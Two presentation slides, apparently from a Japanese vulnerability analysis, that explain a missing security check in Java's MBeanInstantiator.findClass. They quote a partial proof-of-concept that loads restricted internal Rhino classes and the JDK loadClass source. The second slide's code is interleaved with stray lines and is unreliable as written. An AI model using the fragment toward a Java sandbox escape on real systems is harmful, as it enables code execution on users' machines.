12. ■ MBeanInstantiatorクラスの問題
MBeanInstantiatorクラスのfindClassにセキュリティチェックに不備が
ある。
~ PoCの一部抜粋 ~
JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
JmxMBeanServer localJmxMBeanServer =
(JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
ClassLoader a = null;
Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
Class localClass2 =
localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
findClass関数は、第一引数で指定されているクラス名のClassオブジェクト
を生成する。
12
13. ■ MBeanInstantiatorクラスの問題
findClass関数は、loadClass関数を呼び出している。
/** * Gets the class for the specified class name using the MBean * Interceptor's classloader */
public Class findClass(String className, ClassLoader loader) throws ReflectionException {
return loadClass(className,loader);
}
static Class<?> loadClass(String className, ClassLoader loader) throws ReflectionException {
Class< ? > theClass;
if (className == null) {
throw new RuntimeOperationsException(new
IllegalArgumentException("The class name cannot be null"),
"Exception occurred during object instantiation");
}
try {
if (loader == null)
loader = MBeanInstantiator.class.getClassLoader();
if (loader != null) {
theClass = Class.forName(className, false, loader);
} else {
theClass = Class.forName(className);
Class<?> localClass1 =
}
} catch (ClassNotFoundException e) {
Class.forName("sun.org.mozilla.javascript.internal.Context“
throw new ReflectionException(e,
,false,MBeanInstantiator.class.getClassLoader());
"The MBean class could not be loaded");
}
return theClass;
}置き換えて、PoCを試してみたが駄目だった。
何が問題かというと、どんなクラスでもインスタンスを生成できるという点。 13